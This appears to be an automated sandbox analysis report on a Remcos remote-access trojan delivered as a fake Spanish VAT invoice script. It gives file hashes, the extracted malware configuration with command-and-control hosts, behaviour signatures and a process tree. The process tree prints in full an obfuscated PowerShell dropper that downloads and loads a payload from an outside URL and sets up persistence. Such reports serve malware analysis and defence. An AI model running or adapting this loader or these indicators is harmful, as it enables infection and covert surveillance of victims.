Analysis

  • max time kernel
    148s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-12-2024 16:04

General

  • Target

    Factura de IVA,pdf.vbs

  • Size

    152KB

  • MD5

    4dd53bc42716f9abe36ae85c8ca8ea4b

  • SHA1

    aa44fc15455a5283e6596a4da7ee87ac4e4b8901

  • SHA256

    d2256247fae569fdaf99ce1a41dc036c5e4ca7b637a52314f51b726e39096573

  • SHA512

    d9f5410d0f7c9135fa2b388030c766969ed7ea70edae73b514820bb39251f4f66d9af3d39fc46327cb7a6f207ca3e3b7e86a8fecec7629a3606d3c0789777952

  • SSDEEP

    3072:A8gVmI3b0mgfmWu+Dwe9VOv5iG5sVhQ30Wk+70wgA1A:A8gVde9VOvM

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

Extracted

Family

remcos

Botnet

NEW

C2

rem.pushswroller.eu:23101

firewarzone.ydns.eu:23101

dim.remofficialws.top:23101

rem.officialswvrem.top:23101

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmcghdzxtrswtwg-BJ2KPV

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Factura de IVA,pdf.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3532
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3692
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\talpe.vbs"
        3⤵
          PID:2940
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
            PID:3924
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:4564
      • C:\Windows\system32\wscript.exe
        wscript.exe C:\ProgramData\talpe.vbs
        1⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3884
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"
          2⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4004
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            3⤵
              PID:2040
        • C:\Windows\system32\wscript.exe
          wscript.exe C:\ProgramData\talpe.vbs
          1⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:4244
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"
            2⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4892

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\ProgramData\talpe.vbs

          Filesize

          152KB

          MD5

          f46c154b82e9739bc0cb68c2b55c7141

          SHA1

          3cffae22113aa6d4525c702f164317713865ae49

          SHA256

          648aa1acba635f9025c41cb23dedd2e86c4abcec1ad91493e197a1b300c74e85

          SHA512

          11f540c4d95dbf6c79d87ee29e400a0c73db6d7fa196ceac29051b7b9d6b8a7c858a4cb359b223bd5851b45ea3228928ecce9a11c82c3c818a880f5f9de91ad0

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          f41839a3fe2888c8b3050197bc9a0a05

          SHA1

          0798941aaf7a53a11ea9ed589752890aee069729

          SHA256

          224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

          SHA512

          2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          3e1925409bb7154e988607f289810585

          SHA1

          6904de78deaa60e648323ecf82210c77d70e598c

          SHA256

          39687309fb6e7ad92bd99a95b8ed95ab3d00651da420857a02fc8d71561606b2

          SHA512

          a8c52331ca27190fd4430773c9053fd0b002ff9745e0aa03bcff1a594d50d12cb546eda925ef8df913c4b70758171abeb2377f971f28147cbd367806884e3a51

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          7d5d8cf9f65ce79e552409c240295219

          SHA1

          ec5e938110638dcd176ce0645682a0d3949dd5a8

          SHA256

          817d6bfa16b959aae0dec64568ec6d98fdd61a205c61dde60551e192e5478596

          SHA512

          0d06c42b9c5648311000eefe9bd5a952dafd999b5c7ab17dbbebb6c6d9cd4b1de451e13ef0af72dfa3557aee8cb8bb5521642db843c3f61dfd701dd6c95afb68

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dgtzevyh.gqu.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/3692-1-0x00007FFB83D40000-0x00007FFB84009000-memory.dmp

          Filesize

          2.8MB

        • memory/3692-0-0x00007FFB83D40000-0x00007FFB84009000-memory.dmp

          Filesize

          2.8MB

        • memory/3692-2-0x0000023BEE350000-0x0000023BEE372000-memory.dmp

          Filesize

          136KB

        • memory/3692-12-0x00007FFB83D40000-0x00007FFB84009000-memory.dmp

          Filesize

          2.8MB

        • memory/3692-13-0x0000023BF8D30000-0x0000023BF8EDA000-memory.dmp

          Filesize

          1.7MB

        • memory/3692-18-0x00007FFB83D40000-0x00007FFB84009000-memory.dmp

          Filesize

          2.8MB

        • memory/4564-46-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-53-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-23-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-24-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-25-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-26-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-27-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-28-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-29-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-30-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-31-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-32-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-33-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-34-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-35-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-36-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-37-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-38-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-39-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-40-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-41-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-42-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-43-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-44-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-45-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-19-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-47-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-49-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-50-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-51-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-52-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-20-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-54-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-55-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-56-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-57-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-59-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-58-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-60-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-61-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-62-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-63-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-64-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-65-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-66-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-67-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-68-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-69-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-71-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-70-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-72-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-73-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-74-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-75-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-76-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-77-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-79-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-78-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-15-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-80-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-81-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB

        • memory/4564-82-0x0000000000400000-0x000000000047F000-memory.dmp

          Filesize

          508KB